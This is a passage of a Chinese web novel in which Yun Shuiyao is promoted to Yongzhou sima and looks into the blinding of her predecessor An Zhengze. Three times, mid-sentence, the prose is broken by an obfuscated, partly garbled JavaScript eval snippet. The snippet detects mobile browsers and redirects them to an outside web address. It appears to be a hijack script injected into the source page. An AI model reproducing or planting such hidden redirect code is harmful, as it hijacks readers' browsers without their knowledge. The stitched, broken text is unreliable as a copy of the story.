“你虽不能为自己赎身,但钱可以给你一定程度的自由。将来养老,有钱自然比没钱更好。你大哥已死,但你还年轻,不能放弃希望。也许从弹琴治病上,你可以找到人生的价值。” 田梦觉得云水谣说得有理,便重新给管越弹琴,选的时间都是自己不忙、管越也有空的时候。 田梦每次收费不多,但赚了钱之后,她由衷地开心。云水谣觉得,田梦从此以后活过来了,她就不用再为田梦担心了。 云水谣终于闲了下来,询问丫环兰心:“前几日我叫你们寄一点钱和年货给我爹他们,寄出了吗?” 兰心道:“小姐放心,已经办妥了。希望那些财物能到老爷他们手里。” 彩月道:“小姐如今是县令,谁敢克扣县令的东西?” “那倒是。对了,元护卫是不是快回来了?” “应该快了吧,就在这两天了。” 听丫环们提起元景佑,云水谣也有些盼着见到他了。 这时,门外传来了马车声,她们便一起跑出去看。 没想到来的不是元景佑,而是几辆运货的大车。车上有许多木箱,绑得严严实实的。 云水谣问赶车的车夫:“这里面是什么?” “是一位公子买的京城特产,让我们运到洛县来,送给县令。” 云水谣对丫环笑道:“一定是景佑买来的。” 她们把箱子打开,只见里面是茯苓饼、豌豆黄、玫瑰饼、枣花蜜等京城小吃,还有各色绸缎、木雕玩偶、京绣扇子、手帕、瓷瓶等物,还有一大袋黄米、几大缸酒。一个最精美的漆雕盒子里,装的是京城时新的脂粉、首饰等物。 兰心笑道:“元护卫这是把整条街的东西都搬来了吗?” 云水谣笑道:“只怕不止。” 她让人将这些东西搬进去,两个丫环像寻宝似的,统计各种东西,分门别类。能马上吃的,就拿出来放桌上。需要保存的谷物,就放在仓库里。漂亮的首饰和脂粉,拿出几样来,给云水谣换着戴。 田梦站得远远的,云水谣注意到了她,把她拉过来,道:“梦儿,你喜欢什么,也挑一些。” 田梦摇头:“不,这是大人的东西。” “我一个人也用不了、吃不完,你尽管挑吧。你若不挑,我可就帮你挑了。” “谢谢……” 田梦拿了两块糕点,便又重新站得远远的。 云水谣有些心疼她,随手拿了一些绸缎、首饰给她,道:“梦儿,以后你跟在我身边,不用拘谨,想要什么就拿,缺什么就说,有什么难处就叫兰心和彩月帮你。我知道你没了家,我也没家,但我们可以像亲人一样互相照顾。” 田梦忍不住哭了:“大人,您对我太好了……” 看着田梦的样子,云水谣便想起了自己以前的模样。侯府刚被抄家时,她的心情也很难受,但她没哭。 她觉得哭解决不了问题,得直面生活才行。 这时,有几个衙役进来通报:“大人,吏部来人了,说是有给您的圣旨。” 71.升迁 云水谣有些惊慌,不知是何圣旨,赶紧出去迎接。 吏部官员宣旨:“洛县县令云水谣,自上任以来,为官清正,处断公允,才智过人,深孚民望,即日起除雍州司马,加朝散大夫衔,半月内上任。” 见自己升官,云水谣喜出望外,赶紧领旨谢恩。她要留那宣旨的官员吃饭,官员说自己太忙,不便久留,恭喜了云水谣几句便离开了。 兰心、彩月高兴得跳了起来,道:“太好了,小姐升官了!小姐,这雍州司马,离女相还有多远?” 云水谣笑道:“还差得远呢。雍州司马是雍州刺史的属官,品秩是从五品下。” “那也升了好几阶。那朝散大夫衔又是什么?” “这意思是给我增加一个朝散大夫的头衔。朝散大夫是散官,没有实职,但有俸禄,品秩也是从五品下。朝廷对于有功的实职官员,往往会加封一个同品级的散官,以资勉励。” “原来如此,那小姐打一份工,拿两份钱?” 云水谣笑道:“可以这么说吧。” 这时,门外响起一个声音:“看来我回来得正巧,可以赶上大人的升迁宴了。” 云水谣往外一看,是元景佑回来了。 他吃胖了些,但看着刚刚好,之前的他太瘦了。他身上增添了几分贵气和从容之态,果真是居移气,养移体,他现在越来越像个贵族子弟了。 只是他的双眼仍是十分澄澈,像是山间的泉水。 云水谣笑道:“我升迁了,你自然也升了。你现在是雍州司马的护卫长,品秩是正八品下。” “那可真是托大人的福了。” 元景佑虽这样说,眉宇间却有一股忧郁之色。 云水谣问道:“景佑,你怎么了?” 元景佑道:“大人可知自己为何能升为雍州司马?” “我听圣旨上写,是因为我做县令有政绩,有民望。” “这只是一部分原因。更重要的原因是,前一任雍州司马出事了。” 云水谣大惊:“出什么事了?” “他的眼睛被人刺瞎了,所以不能继续做官了。” “怎会有这种事?” “具体情况我也不太清楚,我是在京城时听说的。但圣上封锁消息,旁人难以得知个中内情。” 云水谣也皱眉担忧:“是吗……我还不知道前一任雍州司马是谁。” 一开始的雍州司马是元澄,也就是元景佑的弟弟。后来因雍州长史陆映澜骚.扰云水谣、孟荀,被二人设计报复,陆映澜名声败坏,被夺去官职,元澄便升为了雍州长史。 没过多久,元澄是假世子的事东窗事发,他和监察御史林益敬被一起流放到岭南。 从那以后,云水谣就没打听过雍州的长史、司马是何人了。 元景佑道:“自从陆映澜被夺官、元澄被流放,雍州长史、司马之位空缺。后来,一位吴姓官员补了雍州长史的缺,而雍州司马,则由安正则担任。” 云水谣惊道:“安正则?便是那位理国公之孙、太子的表弟?” “正是。” 安正则其人,云水谣久闻大名。他在贵族子弟里也是拔尖的那一拨。 他的祖父理国公,乃是本朝八大国公之一,且他们出自颍阳安氏,五姓七家之一,十分显赫。 而且,他还是太子的嫡亲表弟。太子的生母先皇后便是理国公的女儿,安正则的亲姑姑。 先皇后虽然已经故去,但是理国公的小女儿现在是皇帝的德妃,生有七皇子康王。 也就是说,理国公府一门两皇妃,太子和康王都是国公府的外孙。 而安正则身为太子的亲表弟,一向很得太子信任,在太子府担任詹事。 詹事是正三品,掌管太子府大小事务。不出意外的话,将来太子登基,安正则会是最重要的臣子之一,出将入相不在话下。 太子府的属官,一般不会只在太子府内任职,也会兼任其他职务。所以,太子詹事外任雍州司马,是很正常的。 可是,这样一位年轻有为、前途无量的世家子弟,竟被人刺瞎双眼?那他的前途岂非尽毁? 云水谣不敢相信,但元景佑自然不会说谎。 云水谣问道:“那安正则现在何处?” “好像仍在雍州养病,还未回京。” “他身份贵重,身边自然少不了护卫,又有谁能伤他?” “不太清楚,不过我想此事必然不简单。我觉得雍州府乃是非之地,大人如今前往,我自然有些担忧。” “我只需低调行事,做好分内之事,应该没问题。安正则这一瞎,应该有许多人能得到利益。但我不一样,我只是一个被抄家夺爵的罪臣之女,身后已无势力,对方应该不会针对我的。” “但愿吧。我从家里带来三十个武功高强的护卫,他们会跟我一起保护大人的。” “没必要这么夸张,我哪里有这么重要?” 元景佑认真地看着她:“在我心里,大人很重要。” 云水谣脸色一红,转移了话题:“你寄来的几车东西收到了,简直太多了,用到明年也用不完。” “只管用,明年自然有明年的东西。” “好啊,那我就每年都等着收礼物了。” “嗯。对了,我给大人在岭南的家人也寄了几车东西。” “真的吗?那他们可有口福了,谢谢!” 云水谣心中十分感激景佑。她的俸禄不多,所以寄给家人的东西也不多。她总是担心家人在岭南吃不饱、穿不暖,现在有了景佑的帮助,她终于不用担心了。 临行前,她在酒楼设宴,宴请洛县的同僚们。她跟洛县的官吏们相处时间虽不长,但彼此已经很熟悉了,也有了一些感情。如今要分别,自然有些不舍。 她把自己带不走的一些东西都留给了同僚们,同僚也都纷纷祝她前程似锦。 柳依依是云水谣私人聘请的小吏,自然是要跟随云水谣赴任的。 在赴任之前,云水谣想起之前用了杜羽的手帕,还没还,便把那块手帕找出来,骑马来到金缕营,找杜羽辞行。 杜羽笑道:“恭喜云大人升迁。” “多谢杜将军,您这块手帕我已经洗干净了,现在还给您。” “什么时候离开?” “明日便走。” 杜羽的眼神暗了暗,随即爽朗一笑:“我有自酿的桑葚酒,不如小酌一杯,为云大人践行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14257953|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “也好。” 云水谣跟杜羽进入大帐之中,杜羽命人取来桑葚酒,在自己面前放了一个大酒碗,却只给云水谣一个小巧的琉璃杯。 云水谣笑道:“杜将军只舍得给我喝这么点?” “云大人是女子,喝酒还是少喝一些为好。” 说着,杜羽亲自给云水谣倒了一杯酒,给自己倒了满满一碗。 云水谣慢慢喝着,只觉得入口甘甜,但是酒味略浓,她有点适应不了。还好杜羽只让她喝一小杯,要是喝多了,说不定会醉。因此,她心中暗暗感激杜羽的体贴。 杜羽喝了几口酒,击节而歌:“天高地迥,凤凰翥之。时而风起,祥云托之。循吏东迁,生民乐之。” 云水谣回应道:“北风习习,别良将兮,柏叶萋萋。松山岩岩,别良将焉,君子谦谦。” 杜羽又让人上了一些精致小菜,二人吃罢,杜羽赠了云水谣几瓶酒,云水谣告辞而去。 回家之后,云水谣收拾好东西,带着柳依依、元景佑等下属,往雍州出发。 走了十来天后,便到了雍州。 一个三十多岁、身材微胖、面色黧黑的中年官员等在门口,迎接她们。他身后还跟着一群小吏,站得整整齐齐的。 云水谣远远看见有人迎接,赶紧下了马车,走了过去,问道:“下官是新到任的雍州司马,不知您是?” 那微胖官员答道:“我是雍州长史吴青峰,奉刺史大人之命,特来迎接新任司马。” 云水谣欠身行礼:“有劳您了。” 吴青峰点了点头,也没笑,有些严肃地往回走,云水谣赶紧跟上。 云水谣初来乍到,想多了解一些雍州府的情况,于是便频频向吴青峰询问。 吴青峰都回答得比较简短含糊,且不会主动说什么。云水谣觉得他挺难接近的,心里便更加认真起来,生怕有哪里做得不好,会得罪这位长官。 没过多久,便到了刺史府,他们一起走了进去。 雍州刺史顾鸣泉是个儒雅周正的中年人,看着约四十多岁,穿着一身天蓝色的官袍,瘦削中透露出几分威严。他正坐在大厅中等着云水谣等人。 见众人进来,顾鸣泉让他们坐下说话。 云水谣和吴青峰便在下首的位置坐了。元景佑站在云水谣身后。 顾刺史看了元景佑一眼,问道:“这位是镇国公世子吗?” 元景佑抱拳行礼:“正是,小人现在是云司马的护卫。” 顾刺史微微颔首,道:“元世子也请坐吧。” 元景佑道:“不敢,小人站着便是。” “你职位虽低,身份可不低,还是不要推辞了,快请入座。” 元景佑这才在云水谣旁边的位置坐下。顾刺史也命人端上茶水和点心来给元景佑,规格跟云水谣她们一样。 云水谣转头看了元景佑一眼,笑了一下。元景佑也看了过去,随即移开目光,正襟危坐。 顾刺史把二人的互动看在眼里,捻须微笑。 接着,刺史简单说了一下雍州最近的要务,并跟云水谣介绍了一下她的职责。 只听刺史道:“其他事情都不急,但有一件事,却是十万火急。” 72.眼盲 云水谣问道:“何事?请大人指教。” 顾刺史道:“前任司马安正则遭遇不测,双目失明,圣上责令我限期抓到凶手,现在的期限只有一个月了。若是破不了案,雍州府官员都要受罚。云司马,你初来乍到,对其他事务还不熟悉,不如就先侦破此案。” 云水谣凛然道:“是。关于此事,下官也有所耳闻。只是究竟是如何发生的?” 刺史叹息道:“说起这事,也是无妄之灾。前任司马安正则,本是太子府詹事,几月前被太子外派来雍州做官。他虽身居高位,但因年轻,并未娶妻。谁知,太子府中一个武将的女儿看上了他,对他多加纠缠。安正则对她无意,便多次婉拒。可那武将之女不愿放弃,竟追到雍州来,住在安正则隔壁,每日送他东西,或是来衙门堵他,我们都见过多次,心中也觉得那姑娘十分大胆。不过,也有人挺佩服那姑娘锲而不舍的精神。 安正则对她避之不及,她送的东西一样都没收,还想叫护卫们把她送回家。后来,那姑娘终于有些心灰意冷了,她留下一封书信,上面写着她会让安正则后悔一辈子。留下书信后,她便跑得无影无踪。这下安正则着急了,自己虽然不喜欢她,但她毕竟是同僚之女,总不能不明不白地在他这里失踪了,因此便派出很多人去找她,谁知竟一无所获。 因那姑娘在雍州境内失踪,且是官员之女,我也派了许多衙役去寻找,结果还是杳无音信。安正则派人回太子府报信,太子也派了一队人马来雍州寻找,竟也找不到。那姑娘的父亲倒也不敢责怪安正则,毕竟是自己的女儿非要跑到雍州去的,她也是自己跑得没影的,不关安正则的事,因此他也只是发动自己的力量去寻找女儿。几路人马前前后后找了一个多月,竟完全找不到人,无奈之下,我只好把那姑娘登记为失踪人口,慢慢寻访。 太子府的侍卫也都各有职责,不能为了寻找一个姑娘长久留在雍州,便也都回去了。谁知,又过了一个月,临近过年的时候,那姑娘竟突然出现,直接闯入安正则家中,也不说话,怒气冲冲的。安府虽有护卫,但护卫们都认识这姑娘,也不阻拦。安正则听说她回来了,便去看看怎么回事,询问她之前去哪里了。谁知,那姑娘见到安正则,一句话也没说,直接挥出一剑,将安正则刺瞎了。她还说:‘我如此爱慕你,对你嘘寒问暖,关怀备至,可你却看不上我。既然你有眼无珠,那你这双眼睛也别要了。’ 说完,她就逃走了。安正则的侍卫们赶紧去追她,竟追不上。从那以后,那姑娘又消失了,谁也找不到她。我得知此事后,赶紧下令追捕她,一直找到现在,也没有线索。安正则的家人,还有皇上、太子,都想接安正则回京城养伤,但因他伤势过重,大夫说暂时不能移动,需等伤势稳定了再说,因此他至今仍住在雍州。 安正则眼盲,自然不能再做官了。皇上的使者说让我从雍州官员中选一人补上安正则的缺,我考察了雍州各县官员的政绩,便选择了云司马。” 云水谣恍然道:“多谢大人提携。只是,此事有些奇怪。那姑娘不过是个弱女子,为何消失了两个月,便练成了一身武功,还能将安正则刺瞎?安正则是理国公之孙,又是太子府詹事,身边必有许多护卫,那姑娘要做到此事,必定需要极高的武功。而且,她逃走之后,侍卫们竟追不上她,可见她的身手已非常人能及。” 顾刺史道:“那姑娘自幼习武,是有武术底子的。” 云水谣问道:“那她原本的功夫如何?” “我见过她跟安正则的护卫们打架,功夫尚可,但不算太高。” “既然如此,她又如何能在这么短的时间内,将功夫提升好几个境界?” “也许是她得到了什么武学秘籍,是以突飞猛进。” 这是唯一合理的解释了,但云水谣还是觉得有些夸张。 她转头问元景佑:“景佑,你可曾见过有人的武功在短时间内便能提升很多?” 元景佑道:“就我多年所见,每个人的武功都是从小学的,打基础要好几年,练到精通要好几年。当然,天赋高或是力气大的人会练得快些。虽然江湖上流传着一些练了某本秘籍,武功便能突飞猛进的传说,但我并未见过。不过,也许真的存在这样的功法。” “看来,要亲自拜访一下安大人,才能得知更多细节。” 顾刺史把这个案子的卷宗拿来给云水谣看,包括那个姑娘突然失踪案,以及那个姑娘刺瞎安正则案。 云水谣先翻看了这两个卷宗。 那位姑娘名叫方彩杏,是太子左内率方轩举之女。太子左内率是太子府的武官,正四品上,掌管着一千多士兵,也算高官了。 卷宗中的其他记载,跟顾刺史所说的差不多。 云水谣问明了安正则的住处,便率领一些侍卫和丫环前去拜访。 安正则住在清吟街的一处宅院,这条街并非等闲之人可住,住在这儿的要么是达官贵人,要么是退隐名宿,一般的富商即便有钱,也买不了此处的房和地。 据说,安正则所住的小院,是理国公府的私产,比刺史府还豪华。 云水谣走进去之后,才知道传言不虚。她们由仆人带领着,走过三进院落,走了两炷香左右的功夫,才算进入了内宅。一路上亭台楼阁,奇花异草,皆是别具匠心,美不胜收,又透露着清雅之意。 仆人道:“公子在竹林弹琴,吩咐小的将客人带到竹林去。” 云水谣惊讶:“弹琴?” “正是。” 没想到,发生了这样的事,安正则还有心思弹琴。云水谣心中不免对他生起几分好奇和敬佩。 又走过几个走廊,云水谣便听见了隐隐约约的琴声。这琴曲似乎是《满庭芳》,表达的是亭中景物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267684|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣欣向荣的场景。声音清越,节奏不徐不疾,有一种物我两忘的境界。 云水谣身边的丫环田梦懂音律,不禁赞道:“弹琴之人心思淡远,如闲云野鹤,悠然忘机。” 云水谣微笑道:“你也有此感觉?” 田梦点头:“正是。只是,他的曲中并无多少悲伤之意,莫非真是随遇而安之人?” “也许吧。” 过了一会,众人见到一片竹林。竹子种得不密,但占地较广,一眼看过去有一种来到深山的感觉。 在苍苍竹林中,有一个身穿青色长袍、雍容闲雅的年轻人在其中弹琴。他的双眼蒙着厚厚的白布,只能看见他俊俏清秀的下半张脸,但却摄人心魂,让人忍不住连呼吸都放慢了。他完美得像一尊雕塑,像是造物主对人间的恩赐。 可惜,这完美的少年,却永远失去了双眼。 云水谣以前在京城时,曾听说杜羽、安正则是年轻贵族中最为俊美的两个,还有人编了一句打油诗:“杜郎珠玑如日月,安郎双眸若神明。” 这是因为杜羽喜欢在身上挂很多金银珠宝,行动之间十分闪耀,如同日月之光;而安正则的双眸温和慈悲,且十分美丽,如同神明在看着你一般。据说,还有些人一见到安正则便开始许愿,似乎真把他当成神明下凡了。 可惜,云水谣年幼时深居简出,心思都在读书上,未曾得见安正则和杜羽二人。如今杜羽倒是跟传闻中一样,她已见过,但安正则的眼神,谁也见不到了。 想到此,云水谣觉得十分遗憾,也觉得那个方彩杏太过残忍,竟将这样的眼睛从人间抹去。 听见脚步声,安正则微微一笑,停止弹琴,道:“佳客远来,未曾迎迓,还请见谅。” 云水谣赶紧说道:“是我们打扰了。安大人,你还好吗?” 安正则起身道:“大夫说还需休养一阵,在家里走动走动倒是无妨的。客厅就在左近,请贵客们移步喝茶吧。” 云水谣等人上门拜访时,已经自报身份,所以也无需互相介绍,安正则很自然地邀请众人到客厅。 安正则双眼已盲,由仆人搀扶着,走得很慢。云水谣也放慢了脚步,走在他身边。 似乎察觉到云水谣的刻意照顾,安正则微笑道:“云大人真是细心又体贴。” 云水谣忙道:“这是应该的。” 没过多久,便来到了客厅,安正则让仆人奉茶。见安正则一切行为都与常人无异,并未自暴自弃,或是闭门谢客,云水谣心中十分佩服他。云水谣想了一下,如果是自己突然眼盲,是无法做到像安正则这么冷静的。 喝了几口茶后,云水谣对安正则道:“下官今日前来,是有一些关于案件的细节想问。” 安正则点头:“我已知云大人来意,您只管问吧。” “您跟那个方彩杏姑娘,认识多久了?” 73.不悔 “没多久,大概三个多月吧。她的父亲方轩举,是太子府左内率,我跟他比较熟悉,但从未见过方姑娘。三个多月前的某一天,方姑娘来太子府找她父亲,无意间见到了我,从此便经常借故来太子府找我。” “这么说,她对您是一见钟情?” “可能吧,我跟她没有交流太多,不知道她的心理。” 像安正则这样的人中龙凤,姑娘家一见钟情倒也正常。 云水谣接着问道:“她当时都做了什么?” “她会经常做一些食物、荷包之类的东西送我,我都没收。有时候我在忙公务,她会借故待在我的书房,为我磨墨,或是跟我说一些京城的趣事。有时候我生病没去太子府,她会来我家拜访,给我熬药。我几次对她父亲提起,让方姑娘多待在家,不要总来找我。我对她无意,她若只管纠缠,对她名声不好。 她父亲知道其中的利害,也对方彩杏多加约束,可是方姑娘有些任性,她父亲管不住她。没过多久,因雍州附近发生了一起大案,朝野震惊。太子派我来雍州当司马,顺便调查此案……” 云水谣问道:“是什么案子?” 安正则道:“因温河一带淤泥堆积,行船困难,洪涝多发,圣上派工部官员带领二十万两银子去治理河道。官员们经过雍州附近时,却遭到劫杀,所有官员全部失踪,护卫被杀,二十万两官银也不见踪影。太子派我来雍州,一方面是因为雍州司马之位空缺,另一方面也是叫我暗中调查此事,替皇上分忧。” 云水谣:“不知您可查出了眉目?” “我目前只查到此案可能跟江湖上的一个杀手组织百尺楼有关,但还没查明白。失踪官员和被劫走的官银都未曾找到。” 云水谣惊讶:“百尺楼?” 安正则朝云水谣这边转头,问道:“云大人听说过?” “没错,我不仅听说过,还调查过。” 云水谣便把以前的事说了,然后说道:“当时我虽然救出了一批女孩,但百尺楼的总坛转移了,我并未破获这个组织。没想到他们又犯下大案。” “其实云大人没有正面跟他们的总坛对上,反而是好事。以云大人当时的势力,绝不是百尺楼的对手,说不定会有生命危险。” 云水谣点头:“你说的也对。那安大人是否查清百尺楼的新总坛在哪里?” “还没查到,我就遭此横祸,以后怕是不能继续查下去了。不过,我会把之前查到的线索,暗中交给太子。” “嗯。您接着说方彩杏之事吧,刚才被我打岔了。” 安正则接着说道:“来到雍州之后,我本以为从此可以摆脱那位方姑娘了。没想到她竟跟了过来,还在我家旁边租了房子,隔三差五便来找我。我念着她是同僚之女,且孤身在外,我总不能不管不顾,因此也没有对她太严厉,让她在我家来去自如,还暗中派了几个侍卫去保护她。只是我言谈间仍对她保持着距离,并未给她希望。 有时候,她会去雍州府衙门找我,或是公然在府衙的院子里徘徊,所以雍州的许多官员都知道了我跟她之间的事,有些同僚还打趣我。我觉得尴尬,同时也觉得方姑娘此举不妥。我不可能娶她,但她纠缠我的事被这么多人知道,将来还怎么嫁人?我对她晓以利害,她却无所谓,说自己要是嫁不了我,也不嫁任何人了,所以名声对她来说不重要。 我虽感念她的痴心,但总不能因她心系于我,我便成全她吧?那下回若有人想要我的命,只需不停地求我自尽,我便真的自尽不成?所以,任凭方姑娘使尽手段,我始终没有答应她的追求。后来,她似乎灰心了,留下一封书信,说是要让我后悔一辈子。我本以为这是女孩家的一时气愤之语,没想到她说的让我后悔一生,是这个意思。” 安正则轻轻抚摸着眼睛上的纱布,声音有些低沉。 云水谣问道:“那安大人现在后悔了吗?” 安正则有些讽刺地一笑:“自然不后悔。她追求我不成,便做出如此过激的行为,可见绝非良配。我若真娶了她,将来后悔的日子只怕多着呢。我如今只是遗憾,自己时运不济,遭此横祸。” 安正则是太子的嫡系臣子,必是将来的宰辅之选,安家也对其寄予厚望,可如今眼睛一瞎,未来的一切事业皆成泡影。遇到如此巨大的打击,安正则却能说出不后悔三个字,可见心性之坚。 在他心中,恐怕荣华富贵没有那么重要,遵从本心、不畏强权更重要。 虽然从身份上来说,安正则的地位比方彩杏高,但是方彩杏在感情上对他死缠烂打,也属于一种逼迫。安正则看似温文尔雅,但内心坚定沉稳,是不会屈从于这种压迫的。 云水谣问道:“那位方姑娘,以前的武功是不是不怎么高?” “是的,她学过武功,但在武学一道没有花太多精力,若是跟练家子对打,还是要落于下风的。” “可是,她消失了两个月,便练成了上乘武功,不仅伤了您,还能从侍卫手中逃脱,您不觉得奇怪吗?” 安正则点头:“我也感到奇怪。那天她来找我时,虽然是突然发难,但我看见她拿出匕首,本想抵抗的,却来不及反应,被她刺瞎双眼。她的动作实在太快,就像闪电一样。” 云水谣问:“安大人也会武功吗?” “会,我自幼习武。” “那跟方彩杏相比如何?” “以前我的功夫高出她许多,可现在却正好相反。” “安大人见识广博,可曾听闻什么武功秘籍能让人的功夫突飞猛进?” “这样的传说倒是有,但我从未亲眼见过。但从方彩杏的变化来看,这样的武功秘籍似乎确实是存在的。” “她来找您那天,还发生过什么奇怪的事吗?” “应该没有,或者说,我不确定。一切发生得太快了,她进了我家,刺瞎我的眼睛,然后就逃走,前后还不到一炷香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278020|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的功夫。” “她朝哪个方向逃走了?” “据护卫说,是东南方向。但是时间过去这么久了,她未必在东南方,也许去了别的地方,很难追踪。” “您的护卫都是高手吗?” “是的,其中有几个还是大内侍卫,是皇上赠与我的。几个月以前,以方彩杏的身手,还打不过任何一个护卫。” 云水谣陷入了沉思。 安正则道:“云大人不必太过担忧,此事虽在雍州地界发生,但纯属意外,怪不到雍州官员头上。我听说圣上责令雍州官员限期抓到凶手,若做不到,我会向皇上求情,让他不要责罚你们。” “多谢安大人。我觉得,还有一个很关键的问题。” “什么问题?” 云水谣道:“方彩杏为什么敢如此伤害你呢?她知道你的身份,也知道你双眼若瞎,一辈子的前途都完了。她这样做,不仅毁了心爱之人的一生,也得罪了太子和理国公府,甚至是整个颍阳安氏。方家不过是寒门,方彩杏纵然任性,又怎么会如此以卵击石?难道她完全不怕连累她的父亲吗? 而且,她为什么不偷偷刺瞎你的眼睛,或是找个杀手来伤你,而是要在大庭广众之下做这件事,让这么多人都看见她?这么做,除了为她自己和家族惹来祸端,还有什么用?” 安正则道:“也许,是她恨极了我。她觉得我让她失去了尊严和面子,我是她的执念,也是她的心魔。所以,她干脆毁了我。” “那她为何不直接杀了你?” “也许是她不敢?” “刺瞎你的后果,跟杀了你的后果相比,也轻不到哪里去。她都敢刺瞎你了,可见她完全不计后果,十分大胆。” “也许,是她只想出一口气,没想到后果。她毕竟年纪不大,一时冲动也有可能。” “我总觉得,这件事有些奇怪,似乎还有一些我们没想到的地方。” 这时,仆人来报:“禀公子,桓七爷来了。” 安正则喜道:“是七叔来了?快请。” 不多时,一个中年文士走了进来。他虽作文士打扮,但气度不凡,身形沉稳,眉宇间有几分傲气,一看便是大家族出来的。 他一进门,看见安正则蒙着双眼的样子,便大为懊恼:“方家那个毒妇,竟真把你残害至此!太子若不把方轩举剥皮抽筋,此事不算完!” 安正则反倒劝慰道:“七叔不必动怒,小侄虽然眼盲,幸好不曾伤了性命。此事是方姑娘一人所为,不可迁怒她父亲。方轩举是太子殿下的亲信,咱们家若不依不饶,那便是让太子殿下自断臂膀,反而不妥。” 那中年文士余怒未消:“你是太子的嫡亲表弟,那方轩举算个什么东西,当年在战场上奄奄一息,被太子殿下捡回来的。他教出的好女儿,先是不知廉耻纠缠于你,后是留书出走,让那么多人放下手头的事去找她,现在又刺瞎你的双眼,简直罪不容诛!” 74.旧人 “方将军一直在保护太子,哪有时间教女儿?此事与他无关,只追究方姑娘一人的责任便是。七叔喝杯茶,消消气吧。” “哼,事到如今,你还一口一个方姑娘。” 安正则端起一个茶杯,想递给那中年文士。但他现在已经看不见了,不确定递到七叔面前没有,就松了手,结果茶杯掉在地上,摔碎了。 那中年文士本就无心喝茶,所以才没去接,见此情景,赶紧把安正则扶住,让他坐下,道:“你做这些事干什么?既然看不见了,更该好生小心着。” 安正则笑道:“七叔不必担忧,我已经习惯了。对了,我给你引见一下云大人和元世子。” 说着,他便介绍道:“那位姑娘是新任的雍州司马云水谣,她身边的护卫便是镇国公世子元景佑,现在担任云司马的护卫长。” 安正则看不见云水谣和元景佑的模样,便只能这样宽泛地介绍了。 云水谣和元景佑都向那中年文士行了个官员相见的礼节。 那中年文士拱手回礼:“中书舍人,安亭桓。” 云水谣道:“安舍人有礼。” 安亭桓道:“不知两位来此有何贵干?” “我们是来调查安公子被刺瞎一案的。” “那请云司马查看卷宗吧,小侄现在身体不好,需要静养。” 安正则忙道:“不妨事的,我一个人待在这里怪闷的,有人来说说话倒好。” 安亭桓问他:“你现在能走了吗?我是来接你回家的。” 安正则道:“现在还不能长途奔波,需要再养一阵子。” “那也行。我给你带来一批护卫。你身边那些护卫都是吃干饭的,通通贬到边关去做苦力。” “七叔息怒,他们并未玩忽职守,实在是方彩杏武功太高了,而且他们也没想到方彩杏会忽然发难。” “你就是太好说话了,所以才会被害成这样。依我说,那方彩杏一开始纠缠你时,你就该打她一顿,让她一见到你就害怕,那自然就没有后续的这些麻烦了。” 安正则无奈道:“七叔,哪有这样的。” “好了,我给你带了你爱吃的荷叶糯米鸡和牛乳燕麦糕,你记得吃。还有一些风干的食材,可以泡发了做菜。你的仕途估计是没指望了,你祖父给你求了个银青光禄大夫的散官头衔,以后你仍可以领朝廷俸禄,只是没有职事官那么多。” 安正则叹道:“我有负祖父的栽培,七叔回了家,替我多谢祖父。” “他用得着你谢吗?你小子,保重好自己,平安回家,你祖父便老怀安慰了。” “是。我爹娘好吗?” “你一时半会又回不去,不必问这些,免得平白担心。” “是。” 安正则心中忧虑,他知道父母的情况肯定不会很好,但自己山高水远,鞭长莫及,问得太多也确实只能徒增伤感而已。 安亭桓拍了拍他的肩膀:“中书省太忙,我也是好不容易请了假出来,今晚或是明日便要离开了。你缺了什么,让管家写信回来。” “是。” 这时,一个五十多岁、略微驼背、塌鼻梁的老者走了进来,对安正则道:“公子,现在已是午饭时分了,是否要用膳?” 安正则点头:“吃饭吧。厨房可给客人做了食物?” “每日的午饭是从清晨开始准备的,本来厨房那边不知今日会来客人,只做了公子一人的饭。但刚才客人来访时,老奴已经让厨房做了一些简单易熟的饭菜,足够客人吃的。” “也好。” 安正则向云水谣介绍道:“这是管家来福,最妥帖不过的。” 云水谣问管家来福:“你家公子遇难那天,你可在场?” 来福道:“老奴当时在忙,不在公子身边,等听见动静出去看时,发现公子已经……唉,早知道我应该寸步不离的。” 说着,他摸了摸鼻子,也不知是伤心,还是鼻子不舒服。 安正则道:“来福叔不必自责,当时一切都发生得太快,你就算在,也阻止不了。” 很快,餐桌上就摆满了饭菜。 安正则面前是十几样精致的菜,都是一人份。摆在云水谣等人面前的也是上好的菜肴,不过做法都是简单的凉拌、清蒸之类的,想来是厨房时间不够,所以只能这样做。不过味道却都是上佳的。 安正则由丫环喂饭,吃得挺斯文的,而且每一样都吃得下,看来他想得挺开的。 倒是他的七叔安亭桓食不知味,吃了两筷子就放下了。 安正则听见七叔停箸的声音,问道:“七叔不多吃些吗?” 